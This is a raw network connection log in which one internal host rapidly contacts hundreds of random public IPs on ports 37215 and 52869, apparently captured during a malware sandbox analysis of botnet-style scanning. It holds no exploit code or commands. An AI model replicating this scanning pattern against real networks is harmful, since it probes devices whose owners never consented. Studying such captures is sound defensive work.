Dec 4, 2024 20:34:26.768985987 CET	39574	52869	192.168.2.14	156.34.193.1
Dec 4, 2024 20:34:26.769514084 CET	33408	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:26.770400047 CET	43000	52869	192.168.2.14	197.100.107.0
Dec 4, 2024 20:34:26.770965099 CET	35154	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:26.771939039 CET	43260	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:26.772401094 CET	34092	37215	192.168.2.14	156.185.206.40
Dec 4, 2024 20:34:26.773298979 CET	38580	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:26.773848057 CET	32788	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:26.774822950 CET	54060	52869	192.168.2.14	41.107.6.252
Dec 4, 2024 20:34:26.775347948 CET	47454	37215	192.168.2.14	41.148.173.245
Dec 4, 2024 20:34:26.776153088 CET	55382	52869	192.168.2.14	197.89.179.31
Dec 4, 2024 20:34:26.776664972 CET	39918	37215	192.168.2.14	197.83.168.206
Dec 4, 2024 20:34:26.777595997 CET	40992	52869	192.168.2.14	197.1.190.197
Dec 4, 2024 20:34:26.778151035 CET	48522	37215	192.168.2.14	156.118.150.76
Dec 4, 2024 20:34:26.779125929 CET	38090	52869	192.168.2.14	156.249.137.110
Dec 4, 2024 20:34:26.779608011 CET	55980	37215	192.168.2.14	41.132.5.179
Dec 4, 2024 20:34:26.780571938 CET	57384	52869	192.168.2.14	156.48.140.101
Dec 4, 2024 20:34:26.781059027 CET	45064	37215	192.168.2.14	156.141.27.234
Dec 4, 2024 20:34:26.781996965 CET	56560	52869	192.168.2.14	156.187.20.109
Dec 4, 2024 20:34:26.782608986 CET	41632	37215	192.168.2.14	197.234.28.90
Dec 4, 2024 20:34:26.783488035 CET	34958	52869	192.168.2.14	197.149.191.62
Dec 4, 2024 20:34:26.783968925 CET	52394	37215	192.168.2.14	156.36.98.78
Dec 4, 2024 20:34:26.784924984 CET	49050	52869	192.168.2.14	156.43.129.143
Dec 4, 2024 20:34:26.785387993 CET	49660	37215	192.168.2.14	41.218.25.18
Dec 4, 2024 20:34:26.786287069 CET	50460	52869	192.168.2.14	41.27.123.27
Dec 4, 2024 20:34:26.786833048 CET	43718	37215	192.168.2.14	197.97.83.227
Dec 4, 2024 20:34:26.787723064 CET	56468	52869	192.168.2.14	41.187.20.236
Dec 4, 2024 20:34:26.788233042 CET	47886	37215	192.168.2.14	197.121.233.57
Dec 4, 2024 20:34:26.789155006 CET	33994	52869	192.168.2.14	41.205.219.35
Dec 4, 2024 20:34:26.789655924 CET	37104	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:26.790535927 CET	43274	52869	192.168.2.14	197.142.129.29
Dec 4, 2024 20:34:26.791040897 CET	35180	37215	192.168.2.14	156.207.141.171
Dec 4, 2024 20:34:26.791866064 CET	45946	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:26.792423964 CET	57124	37215	192.168.2.14	197.137.12.25
Dec 4, 2024 20:34:26.793385029 CET	40694	52869	192.168.2.14	156.44.220.216
Dec 4, 2024 20:34:26.793853998 CET	34526	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:26.794806004 CET	42896	52869	192.168.2.14	197.218.147.117
Dec 4, 2024 20:34:26.795356989 CET	56182	37215	192.168.2.14	156.18.94.51
Dec 4, 2024 20:34:26.796498060 CET	57280	52869	192.168.2.14	197.162.199.101
Dec 4, 2024 20:34:26.797003984 CET	45548	37215	192.168.2.14	41.199.58.224
Dec 4, 2024 20:34:26.798027039 CET	39008	52869	192.168.2.14	197.100.102.194
Dec 4, 2024 20:34:26.798717976 CET	37026	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:26.799523115 CET	35820	52869	192.168.2.14	156.41.217.253
Dec 4, 2024 20:34:26.800158978 CET	38742	37215	192.168.2.14	156.188.155.149
Dec 4, 2024 20:34:26.801039934 CET	40024	52869	192.168.2.14	41.103.215.205
Dec 4, 2024 20:34:26.801518917 CET	46734	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:26.802448034 CET	51350	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:26.802633047 CET	60254	37215	192.168.2.14	156.243.30.234
Dec 4, 2024 20:34:26.803915977 CET	53662	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:26.804004908 CET	57116	37215	192.168.2.14	197.73.36.58
Dec 4, 2024 20:34:26.805428982 CET	43520	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:26.805644035 CET	41388	37215	192.168.2.14	156.54.44.90
Dec 4, 2024 20:34:26.806726933 CET	52720	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:26.807259083 CET	56826	37215	192.168.2.14	197.172.250.156
Dec 4, 2024 20:34:26.808267117 CET	36100	52869	192.168.2.14	156.99.178.7
Dec 4, 2024 20:34:26.808578968 CET	43604	37215	192.168.2.14	197.170.86.190
Dec 4, 2024 20:34:26.809679985 CET	51694	52869	192.168.2.14	156.162.89.139
Dec 4, 2024 20:34:26.810281038 CET	48508	37215	192.168.2.14	197.93.150.183
Dec 4, 2024 20:34:26.811466932 CET	49792	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:26.811702967 CET	58882	37215	192.168.2.14	41.38.128.112
Dec 4, 2024 20:34:26.813116074 CET	56770	52869	192.168.2.14	197.70.132.232
Dec 4, 2024 20:34:26.813349962 CET	48738	37215	192.168.2.14	197.166.65.21
Dec 4, 2024 20:34:26.814498901 CET	37216	52869	192.168.2.14	197.132.171.98
Dec 4, 2024 20:34:26.814706087 CET	42732	37215	192.168.2.14	197.118.189.73
Dec 4, 2024 20:34:26.816165924 CET	38930	52869	192.168.2.14	197.135.59.96
Dec 4, 2024 20:34:26.816385031 CET	40010	37215	192.168.2.14	197.70.221.90
Dec 4, 2024 20:34:26.817584038 CET	42654	52869	192.168.2.14	197.46.172.83
Dec 4, 2024 20:34:26.817822933 CET	48394	37215	192.168.2.14	156.1.142.180
Dec 4, 2024 20:34:26.819262028 CET	38684	52869	192.168.2.14	197.218.195.246
Dec 4, 2024 20:34:26.819480896 CET	54272	37215	192.168.2.14	41.97.190.30
Dec 4, 2024 20:34:26.820702076 CET	50922	52869	192.168.2.14	41.191.147.247
Dec 4, 2024 20:34:26.820889950 CET	53460	37215	192.168.2.14	41.234.244.9
Dec 4, 2024 20:34:26.822335958 CET	53884	52869	192.168.2.14	197.218.155.181
Dec 4, 2024 20:34:26.822577000 CET	51424	37215	192.168.2.14	41.133.130.130
Dec 4, 2024 20:34:26.823760033 CET	44106	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:26.824321985 CET	46286	37215	192.168.2.14	197.39.33.249
Dec 4, 2024 20:34:26.825443983 CET	38462	52869	192.168.2.14	41.151.25.158
Dec 4, 2024 20:34:26.825804949 CET	59790	37215	192.168.2.14	156.169.221.213
Dec 4, 2024 20:34:26.826948881 CET	43774	52869	192.168.2.14	197.16.184.131
Dec 4, 2024 20:34:26.827563047 CET	39594	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:26.828505039 CET	38444	52869	192.168.2.14	41.141.127.36
Dec 4, 2024 20:34:26.829164028 CET	38390	37215	192.168.2.14	156.76.127.73
Dec 4, 2024 20:34:26.829987049 CET	39806	52869	192.168.2.14	41.133.228.190
Dec 4, 2024 20:34:26.830651999 CET	57150	37215	192.168.2.14	197.131.55.234
Dec 4, 2024 20:34:26.831671953 CET	54712	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:26.832304955 CET	43588	37215	192.168.2.14	41.89.86.35
Dec 4, 2024 20:34:26.833029985 CET	43672	52869	192.168.2.14	197.154.16.245
Dec 4, 2024 20:34:26.833661079 CET	46506	37215	192.168.2.14	156.17.223.166
Dec 4, 2024 20:34:26.834626913 CET	59636	52869	192.168.2.14	41.152.98.185
Dec 4, 2024 20:34:26.835335016 CET	46408	37215	192.168.2.14	41.132.108.110
Dec 4, 2024 20:34:26.836045980 CET	53526	52869	192.168.2.14	156.101.138.138
Dec 4, 2024 20:34:26.837222099 CET	43310	37215	192.168.2.14	156.122.28.201
Dec 4, 2024 20:34:26.837822914 CET	55620	52869	192.168.2.14	197.193.229.83
Dec 4, 2024 20:34:26.838839054 CET	41274	37215	192.168.2.14	197.14.22.139
Dec 4, 2024 20:34:26.839453936 CET	56662	52869	192.168.2.14	156.199.251.203
Dec 4, 2024 20:34:26.840202093 CET	57972	37215	192.168.2.14	156.16.222.195
Dec 4, 2024 20:34:26.840903044 CET	52774	52869	192.168.2.14	41.91.62.119
Dec 4, 2024 20:34:26.841907024 CET	50940	37215	192.168.2.14	197.248.198.178
Dec 4, 2024 20:34:26.842525005 CET	59544	52869	192.168.2.14	156.117.216.181
Dec 4, 2024 20:34:26.843286991 CET	54466	37215	192.168.2.14	197.36.131.169
Dec 4, 2024 20:34:26.843904972 CET	49726	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:26.844948053 CET	36808	37215	192.168.2.14	41.14.72.174
Dec 4, 2024 20:34:26.845475912 CET	39540	52869	192.168.2.14	197.168.102.205
Dec 4, 2024 20:34:26.846687078 CET	50492	37215	192.168.2.14	41.76.128.125
Dec 4, 2024 20:34:26.847029924 CET	41014	52869	192.168.2.14	41.113.109.146
Dec 4, 2024 20:34:26.848160982 CET	60782	37215	192.168.2.14	197.66.42.187
Dec 4, 2024 20:34:26.848659992 CET	33732	52869	192.168.2.14	197.241.250.10
Dec 4, 2024 20:34:26.849797010 CET	45896	37215	192.168.2.14	197.130.161.148
Dec 4, 2024 20:34:26.850009918 CET	41356	52869	192.168.2.14	197.164.96.86
Dec 4, 2024 20:34:26.851435900 CET	42552	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:26.851633072 CET	39422	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:26.852955103 CET	50896	37215	192.168.2.14	156.68.169.141
Dec 4, 2024 20:34:26.853172064 CET	51632	52869	192.168.2.14	197.9.119.228
Dec 4, 2024 20:34:26.854587078 CET	38270	37215	192.168.2.14	41.209.140.78
Dec 4, 2024 20:34:26.854852915 CET	32998	52869	192.168.2.14	41.74.212.165
Dec 4, 2024 20:34:26.856148958 CET	59956	37215	192.168.2.14	197.60.193.45
Dec 4, 2024 20:34:26.856379032 CET	42102	52869	192.168.2.14	197.13.85.162
Dec 4, 2024 20:34:26.857767105 CET	32806	37215	192.168.2.14	41.246.105.213
Dec 4, 2024 20:34:26.857986927 CET	58426	52869	192.168.2.14	41.204.228.145
Dec 4, 2024 20:34:26.859282970 CET	57020	37215	192.168.2.14	197.99.150.85
Dec 4, 2024 20:34:26.859513044 CET	53186	52869	192.168.2.14	156.138.242.151
Dec 4, 2024 20:34:26.859824896 CET	37215	60275	41.177.84.214	192.168.2.14
Dec 4, 2024 20:34:26.859858990 CET	37215	60275	197.160.194.244	192.168.2.14
Dec 4, 2024 20:34:26.859875917 CET	60275	37215	192.168.2.14	41.177.84.214
Dec 4, 2024 20:34:26.859886885 CET	60275	37215	192.168.2.14	197.160.194.244
Dec 4, 2024 20:34:26.859894991 CET	37215	60275	156.18.171.232	192.168.2.14
Dec 4, 2024 20:34:26.859905005 CET	37215	60275	197.36.63.105	192.168.2.14
Dec 4, 2024 20:34:26.859941959 CET	60275	37215	192.168.2.14	156.18.171.232
Dec 4, 2024 20:34:26.859941959 CET	60275	37215	192.168.2.14	197.36.63.105
Dec 4, 2024 20:34:26.859977961 CET	37215	60275	156.251.29.26	192.168.2.14
Dec 4, 2024 20:34:26.859987974 CET	37215	60275	156.9.248.12	192.168.2.14
Dec 4, 2024 20:34:26.859996080 CET	37215	60275	41.229.239.98	192.168.2.14
Dec 4, 2024 20:34:26.860008001 CET	37215	60275	197.132.10.45	192.168.2.14
Dec 4, 2024 20:34:26.860018969 CET	60275	37215	192.168.2.14	156.251.29.26
Dec 4, 2024 20:34:26.860018969 CET	60275	37215	192.168.2.14	156.9.248.12
Dec 4, 2024 20:34:26.860021114 CET	60275	37215	192.168.2.14	41.229.239.98
Dec 4, 2024 20:34:26.860040903 CET	60275	37215	192.168.2.14	197.132.10.45
Dec 4, 2024 20:34:26.860214949 CET	37215	60275	156.129.48.75	192.168.2.14
Dec 4, 2024 20:34:26.860234976 CET	37215	60275	41.180.92.57	192.168.2.14
Dec 4, 2024 20:34:26.860260963 CET	60275	37215	192.168.2.14	156.129.48.75
Dec 4, 2024 20:34:26.860260963 CET	60275	37215	192.168.2.14	41.180.92.57
Dec 4, 2024 20:34:26.860335112 CET	37215	60275	197.177.167.219	192.168.2.14
Dec 4, 2024 20:34:26.860364914 CET	60275	37215	192.168.2.14	197.177.167.219
Dec 4, 2024 20:34:26.860377073 CET	37215	60275	156.185.160.157	192.168.2.14
Dec 4, 2024 20:34:26.860415936 CET	60275	37215	192.168.2.14	156.185.160.157
Dec 4, 2024 20:34:26.860441923 CET	37215	60275	41.89.96.182	192.168.2.14
Dec 4, 2024 20:34:26.860456944 CET	37215	60275	197.168.92.243	192.168.2.14
Dec 4, 2024 20:34:26.860467911 CET	37215	60275	41.214.200.166	192.168.2.14
Dec 4, 2024 20:34:26.860479116 CET	60275	37215	192.168.2.14	41.89.96.182
Dec 4, 2024 20:34:26.860492945 CET	60275	37215	192.168.2.14	41.214.200.166
Dec 4, 2024 20:34:26.860496044 CET	60275	37215	192.168.2.14	197.168.92.243
Dec 4, 2024 20:34:26.860508919 CET	37215	60275	197.232.195.50	192.168.2.14
Dec 4, 2024 20:34:26.860538006 CET	37215	60275	156.165.212.19	192.168.2.14
Dec 4, 2024 20:34:26.860548019 CET	60275	37215	192.168.2.14	197.232.195.50
Dec 4, 2024 20:34:26.860563040 CET	37215	60275	197.202.25.134	192.168.2.14
Dec 4, 2024 20:34:26.860563993 CET	60275	37215	192.168.2.14	156.165.212.19
Dec 4, 2024 20:34:26.860585928 CET	37215	60275	197.106.79.182	192.168.2.14
Dec 4, 2024 20:34:26.860590935 CET	60275	37215	192.168.2.14	197.202.25.134
Dec 4, 2024 20:34:26.860621929 CET	60275	37215	192.168.2.14	197.106.79.182
Dec 4, 2024 20:34:26.860661030 CET	37215	60275	41.175.158.131	192.168.2.14
Dec 4, 2024 20:34:26.860671997 CET	37215	60275	41.27.190.107	192.168.2.14
Dec 4, 2024 20:34:26.860682011 CET	37215	60275	41.18.241.231	192.168.2.14
Dec 4, 2024 20:34:26.860692978 CET	37215	60275	156.119.15.49	192.168.2.14
Dec 4, 2024 20:34:26.860694885 CET	60275	37215	192.168.2.14	41.175.158.131
Dec 4, 2024 20:34:26.860732079 CET	60275	37215	192.168.2.14	41.27.190.107
Dec 4, 2024 20:34:26.860733986 CET	60275	37215	192.168.2.14	156.119.15.49
Dec 4, 2024 20:34:26.860737085 CET	60275	37215	192.168.2.14	41.18.241.231
Dec 4, 2024 20:34:26.860788107 CET	37215	60275	197.80.108.123	192.168.2.14
Dec 4, 2024 20:34:26.860796928 CET	37215	60275	156.187.50.184	192.168.2.14
Dec 4, 2024 20:34:26.860799074 CET	58964	37215	192.168.2.14	197.196.118.52
Dec 4, 2024 20:34:26.860824108 CET	60275	37215	192.168.2.14	156.187.50.184
Dec 4, 2024 20:34:26.860827923 CET	60275	37215	192.168.2.14	197.80.108.123
Dec 4, 2024 20:34:26.860829115 CET	37215	60275	41.182.145.32	192.168.2.14
Dec 4, 2024 20:34:26.860852003 CET	37215	60275	41.219.18.98	192.168.2.14
Dec 4, 2024 20:34:26.860871077 CET	60275	37215	192.168.2.14	41.182.145.32
Dec 4, 2024 20:34:26.860884905 CET	60275	37215	192.168.2.14	41.219.18.98
Dec 4, 2024 20:34:26.860904932 CET	37215	60275	41.233.57.150	192.168.2.14
Dec 4, 2024 20:34:26.860914946 CET	37215	60275	41.25.84.94	192.168.2.14
Dec 4, 2024 20:34:26.860943079 CET	37215	60275	197.250.58.21	192.168.2.14
Dec 4, 2024 20:34:26.860944986 CET	60275	37215	192.168.2.14	41.25.84.94
Dec 4, 2024 20:34:26.860945940 CET	60275	37215	192.168.2.14	41.233.57.150
Dec 4, 2024 20:34:26.860979080 CET	60275	37215	192.168.2.14	197.250.58.21
Dec 4, 2024 20:34:26.861124039 CET	35244	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:26.861942053 CET	37215	60275	41.129.222.84	192.168.2.14
Dec 4, 2024 20:34:26.861988068 CET	60275	37215	192.168.2.14	41.129.222.84
Dec 4, 2024 20:34:26.862014055 CET	37215	60275	197.47.207.152	192.168.2.14
Dec 4, 2024 20:34:26.862024069 CET	37215	60275	41.107.204.221	192.168.2.14
Dec 4, 2024 20:34:26.862046957 CET	60275	37215	192.168.2.14	41.107.204.221
Dec 4, 2024 20:34:26.862050056 CET	60275	37215	192.168.2.14	197.47.207.152
Dec 4, 2024 20:34:26.862123013 CET	37215	60275	41.168.252.6	192.168.2.14
Dec 4, 2024 20:34:26.862133980 CET	37215	60275	197.131.252.49	192.168.2.14
Dec 4, 2024 20:34:26.862143040 CET	37215	60275	41.228.143.114	192.168.2.14
Dec 4, 2024 20:34:26.862155914 CET	37215	60275	197.1.30.233	192.168.2.14
Dec 4, 2024 20:34:26.862160921 CET	60275	37215	192.168.2.14	41.168.252.6
Dec 4, 2024 20:34:26.862164974 CET	60275	37215	192.168.2.14	197.131.252.49
Dec 4, 2024 20:34:26.862178087 CET	60275	37215	192.168.2.14	41.228.143.114
Dec 4, 2024 20:34:26.862215996 CET	60275	37215	192.168.2.14	197.1.30.233
Dec 4, 2024 20:34:26.862230062 CET	37215	60275	197.92.46.4	192.168.2.14
Dec 4, 2024 20:34:26.862248898 CET	37215	60275	156.67.81.124	192.168.2.14
Dec 4, 2024 20:34:26.862268925 CET	60275	37215	192.168.2.14	197.92.46.4
Dec 4, 2024 20:34:26.862282991 CET	60275	37215	192.168.2.14	156.67.81.124
Dec 4, 2024 20:34:26.862293005 CET	37215	60275	156.51.31.180	192.168.2.14
Dec 4, 2024 20:34:26.862313032 CET	37215	60275	197.99.200.32	192.168.2.14
Dec 4, 2024 20:34:26.862325907 CET	60275	37215	192.168.2.14	156.51.31.180
Dec 4, 2024 20:34:26.862339973 CET	37215	60275	197.189.96.119	192.168.2.14
Dec 4, 2024 20:34:26.862350941 CET	60275	37215	192.168.2.14	197.99.200.32
Dec 4, 2024 20:34:26.862379074 CET	60275	37215	192.168.2.14	197.189.96.119
Dec 4, 2024 20:34:26.862442017 CET	37215	60275	41.43.125.157	192.168.2.14
Dec 4, 2024 20:34:26.862452984 CET	37215	60275	41.111.116.26	192.168.2.14
Dec 4, 2024 20:34:26.862464905 CET	37215	60275	156.208.136.231	192.168.2.14
Dec 4, 2024 20:34:26.862481117 CET	60275	37215	192.168.2.14	41.111.116.26
Dec 4, 2024 20:34:26.862483978 CET	58254	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:26.862483978 CET	60275	37215	192.168.2.14	41.43.125.157
Dec 4, 2024 20:34:26.862493992 CET	60275	37215	192.168.2.14	156.208.136.231
Dec 4, 2024 20:34:26.862503052 CET	37215	60275	197.169.81.41	192.168.2.14
Dec 4, 2024 20:34:26.862514973 CET	37215	60275	197.216.75.27	192.168.2.14
Dec 4, 2024 20:34:26.862548113 CET	60275	37215	192.168.2.14	197.169.81.41
Dec 4, 2024 20:34:26.862550020 CET	60275	37215	192.168.2.14	197.216.75.27
Dec 4, 2024 20:34:26.862552881 CET	37215	60275	156.231.88.39	192.168.2.14
Dec 4, 2024 20:34:26.862562895 CET	37215	60275	156.11.10.67	192.168.2.14
Dec 4, 2024 20:34:26.862580061 CET	37215	60275	197.20.137.225	192.168.2.14
Dec 4, 2024 20:34:26.862584114 CET	60275	37215	192.168.2.14	156.231.88.39
Dec 4, 2024 20:34:26.862588882 CET	37215	60275	156.94.117.109	192.168.2.14
Dec 4, 2024 20:34:26.862593889 CET	60275	37215	192.168.2.14	156.11.10.67
Dec 4, 2024 20:34:26.862616062 CET	60275	37215	192.168.2.14	197.20.137.225
Dec 4, 2024 20:34:26.862617016 CET	60275	37215	192.168.2.14	156.94.117.109
Dec 4, 2024 20:34:26.862704992 CET	50066	52869	192.168.2.14	197.112.39.52
Dec 4, 2024 20:34:26.862790108 CET	37215	60275	197.205.213.126	192.168.2.14
Dec 4, 2024 20:34:26.862801075 CET	37215	60275	156.127.247.190	192.168.2.14
Dec 4, 2024 20:34:26.862809896 CET	37215	60275	197.168.49.127	192.168.2.14
Dec 4, 2024 20:34:26.862818956 CET	37215	60275	41.205.225.79	192.168.2.14
Dec 4, 2024 20:34:26.862827063 CET	37215	60275	197.147.96.103	192.168.2.14
Dec 4, 2024 20:34:26.862827063 CET	60275	37215	192.168.2.14	156.127.247.190
Dec 4, 2024 20:34:26.862832069 CET	60275	37215	192.168.2.14	197.205.213.126
Dec 4, 2024 20:34:26.862832069 CET	60275	37215	192.168.2.14	197.168.49.127
Dec 4, 2024 20:34:26.862840891 CET	37215	60275	156.28.121.206	192.168.2.14
Dec 4, 2024 20:34:26.862845898 CET	60275	37215	192.168.2.14	41.205.225.79
Dec 4, 2024 20:34:26.862848043 CET	60275	37215	192.168.2.14	197.147.96.103
Dec 4, 2024 20:34:26.862850904 CET	37215	60275	197.65.172.244	192.168.2.14
Dec 4, 2024 20:34:26.862876892 CET	60275	37215	192.168.2.14	197.65.172.244
Dec 4, 2024 20:34:26.862888098 CET	60275	37215	192.168.2.14	156.28.121.206
Dec 4, 2024 20:34:26.863532066 CET	37215	60275	41.148.143.35	192.168.2.14
Dec 4, 2024 20:34:26.863543034 CET	37215	60275	41.224.237.64	192.168.2.14
Dec 4, 2024 20:34:26.863571882 CET	60275	37215	192.168.2.14	41.224.237.64
Dec 4, 2024 20:34:26.863574028 CET	60275	37215	192.168.2.14	41.148.143.35
Dec 4, 2024 20:34:26.863580942 CET	37215	60275	41.150.224.130	192.168.2.14
Dec 4, 2024 20:34:26.863605976 CET	37215	60275	41.189.114.4	192.168.2.14
Dec 4, 2024 20:34:26.863614082 CET	60275	37215	192.168.2.14	41.150.224.130
Dec 4, 2024 20:34:26.863650084 CET	60275	37215	192.168.2.14	41.189.114.4
Dec 4, 2024 20:34:26.863657951 CET	37215	60275	156.113.31.125	192.168.2.14
Dec 4, 2024 20:34:26.863677025 CET	37215	60275	41.132.36.93	192.168.2.14
Dec 4, 2024 20:34:26.863694906 CET	60275	37215	192.168.2.14	156.113.31.125
Dec 4, 2024 20:34:26.863713980 CET	60275	37215	192.168.2.14	41.132.36.93
Dec 4, 2024 20:34:26.863744974 CET	37215	60275	197.37.234.253	192.168.2.14
Dec 4, 2024 20:34:26.863754988 CET	37215	60275	41.154.31.252	192.168.2.14
Dec 4, 2024 20:34:26.863764048 CET	37215	60275	156.29.32.26	192.168.2.14
Dec 4, 2024 20:34:26.863778114 CET	60275	37215	192.168.2.14	197.37.234.253
Dec 4, 2024 20:34:26.863781929 CET	37215	60275	197.174.172.212	192.168.2.14
Dec 4, 2024 20:34:26.863785028 CET	60275	37215	192.168.2.14	41.154.31.252
Dec 4, 2024 20:34:26.863796949 CET	37215	60275	41.147.18.13	192.168.2.14
Dec 4, 2024 20:34:26.863797903 CET	60275	37215	192.168.2.14	156.29.32.26
Dec 4, 2024 20:34:26.863807917 CET	37215	60275	197.37.119.234	192.168.2.14
Dec 4, 2024 20:34:26.863821030 CET	60275	37215	192.168.2.14	197.174.172.212
Dec 4, 2024 20:34:26.863835096 CET	60275	37215	192.168.2.14	41.147.18.13
Dec 4, 2024 20:34:26.863836050 CET	60275	37215	192.168.2.14	197.37.119.234
Dec 4, 2024 20:34:26.863862991 CET	59686	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:26.863890886 CET	37215	60275	41.199.38.164	192.168.2.14
Dec 4, 2024 20:34:26.863902092 CET	37215	60275	197.55.222.110	192.168.2.14
Dec 4, 2024 20:34:26.863919020 CET	37215	60275	156.2.139.92	192.168.2.14
Dec 4, 2024 20:34:26.863926888 CET	60275	37215	192.168.2.14	41.199.38.164
Dec 4, 2024 20:34:26.863929987 CET	37215	60275	197.251.135.234	192.168.2.14
Dec 4, 2024 20:34:26.863936901 CET	60275	37215	192.168.2.14	197.55.222.110
Dec 4, 2024 20:34:26.863940954 CET	37215	60275	197.121.251.179	192.168.2.14
Dec 4, 2024 20:34:26.863954067 CET	60275	37215	192.168.2.14	156.2.139.92
Dec 4, 2024 20:34:26.863964081 CET	60275	37215	192.168.2.14	197.251.135.234
Dec 4, 2024 20:34:26.863970041 CET	60275	37215	192.168.2.14	197.121.251.179
Dec 4, 2024 20:34:26.863974094 CET	37215	60275	156.208.164.109	192.168.2.14
Dec 4, 2024 20:34:26.864006996 CET	60275	37215	192.168.2.14	156.208.164.109
Dec 4, 2024 20:34:26.864110947 CET	48022	52869	192.168.2.14	41.6.59.74
Dec 4, 2024 20:34:26.864140034 CET	37215	60275	197.50.111.8	192.168.2.14
Dec 4, 2024 20:34:26.864149094 CET	37215	60275	156.9.73.193	192.168.2.14
Dec 4, 2024 20:34:26.864160061 CET	37215	60275	197.89.34.158	192.168.2.14
Dec 4, 2024 20:34:26.864176989 CET	60275	37215	192.168.2.14	197.50.111.8
Dec 4, 2024 20:34:26.864178896 CET	60275	37215	192.168.2.14	156.9.73.193
Dec 4, 2024 20:34:26.864188910 CET	37215	60275	197.249.75.36	192.168.2.14
Dec 4, 2024 20:34:26.864197016 CET	60275	37215	192.168.2.14	197.89.34.158
Dec 4, 2024 20:34:26.864200115 CET	37215	60275	41.103.64.102	192.168.2.14
Dec 4, 2024 20:34:26.864222050 CET	60275	37215	192.168.2.14	197.249.75.36
Dec 4, 2024 20:34:26.864223957 CET	60275	37215	192.168.2.14	41.103.64.102
Dec 4, 2024 20:34:26.864226103 CET	37215	60275	197.181.161.124	192.168.2.14
Dec 4, 2024 20:34:26.864237070 CET	37215	60275	156.182.118.63	192.168.2.14
Dec 4, 2024 20:34:26.864245892 CET	37215	60275	197.34.175.166	192.168.2.14
Dec 4, 2024 20:34:26.864254951 CET	37215	60275	197.14.66.20	192.168.2.14
Dec 4, 2024 20:34:26.864262104 CET	60275	37215	192.168.2.14	156.182.118.63
Dec 4, 2024 20:34:26.864268064 CET	60275	37215	192.168.2.14	197.181.161.124
Dec 4, 2024 20:34:26.864274025 CET	37215	60275	156.62.218.171	192.168.2.14
Dec 4, 2024 20:34:26.864279032 CET	60275	37215	192.168.2.14	197.14.66.20
Dec 4, 2024 20:34:26.864280939 CET	60275	37215	192.168.2.14	197.34.175.166
Dec 4, 2024 20:34:26.864300966 CET	60275	37215	192.168.2.14	156.62.218.171
Dec 4, 2024 20:34:26.865087986 CET	37215	60275	156.253.178.62	192.168.2.14
Dec 4, 2024 20:34:26.865117073 CET	37215	60275	197.81.46.216	192.168.2.14
Dec 4, 2024 20:34:26.865120888 CET	60275	37215	192.168.2.14	156.253.178.62
Dec 4, 2024 20:34:26.865127087 CET	37215	60275	41.82.99.223	192.168.2.14
Dec 4, 2024 20:34:26.865153074 CET	60275	37215	192.168.2.14	197.81.46.216
Dec 4, 2024 20:34:26.865159988 CET	60275	37215	192.168.2.14	41.82.99.223
Dec 4, 2024 20:34:26.865164995 CET	37215	60275	156.243.222.245	192.168.2.14
Dec 4, 2024 20:34:26.865176916 CET	37215	60275	41.67.36.77	192.168.2.14
Dec 4, 2024 20:34:26.865187883 CET	37215	60275	197.114.143.42	192.168.2.14
Dec 4, 2024 20:34:26.865196943 CET	60275	37215	192.168.2.14	156.243.222.245
Dec 4, 2024 20:34:26.865210056 CET	60275	37215	192.168.2.14	41.67.36.77
Dec 4, 2024 20:34:26.865211964 CET	37215	60275	197.10.54.107	192.168.2.14
Dec 4, 2024 20:34:26.865237951 CET	60275	37215	192.168.2.14	197.114.143.42
Dec 4, 2024 20:34:26.865243912 CET	60275	37215	192.168.2.14	197.10.54.107
Dec 4, 2024 20:34:26.865257025 CET	37215	60275	197.180.93.166	192.168.2.14
Dec 4, 2024 20:34:26.865287066 CET	60275	37215	192.168.2.14	197.180.93.166
Dec 4, 2024 20:34:26.865302086 CET	37215	60275	197.232.70.160	192.168.2.14
Dec 4, 2024 20:34:26.865312099 CET	37215	60275	197.253.63.165	192.168.2.14
Dec 4, 2024 20:34:26.865336895 CET	60275	37215	192.168.2.14	197.232.70.160
Dec 4, 2024 20:34:26.865344048 CET	60275	37215	192.168.2.14	197.253.63.165
Dec 4, 2024 20:34:26.865416050 CET	37215	60275	41.29.165.21	192.168.2.14
Dec 4, 2024 20:34:26.865426064 CET	37215	60275	41.123.101.211	192.168.2.14
Dec 4, 2024 20:34:26.865434885 CET	37215	60275	197.98.254.63	192.168.2.14
Dec 4, 2024 20:34:26.865443945 CET	37215	60275	41.216.234.36	192.168.2.14
Dec 4, 2024 20:34:26.865452051 CET	37215	60275	41.55.23.170	192.168.2.14
Dec 4, 2024 20:34:26.865454912 CET	60275	37215	192.168.2.14	41.123.101.211
Dec 4, 2024 20:34:26.865461111 CET	37215	60275	156.195.35.131	192.168.2.14
Dec 4, 2024 20:34:26.865469933 CET	37215	60275	156.155.244.28	192.168.2.14
Dec 4, 2024 20:34:26.865470886 CET	60275	37215	192.168.2.14	41.29.165.21
Dec 4, 2024 20:34:26.865472078 CET	60275	37215	192.168.2.14	197.98.254.63
Dec 4, 2024 20:34:26.865470886 CET	60275	37215	192.168.2.14	41.216.234.36
Dec 4, 2024 20:34:26.865478992 CET	37215	60275	197.19.206.62	192.168.2.14
Dec 4, 2024 20:34:26.865487099 CET	60275	37215	192.168.2.14	41.55.23.170
Dec 4, 2024 20:34:26.865497112 CET	60275	37215	192.168.2.14	156.155.244.28
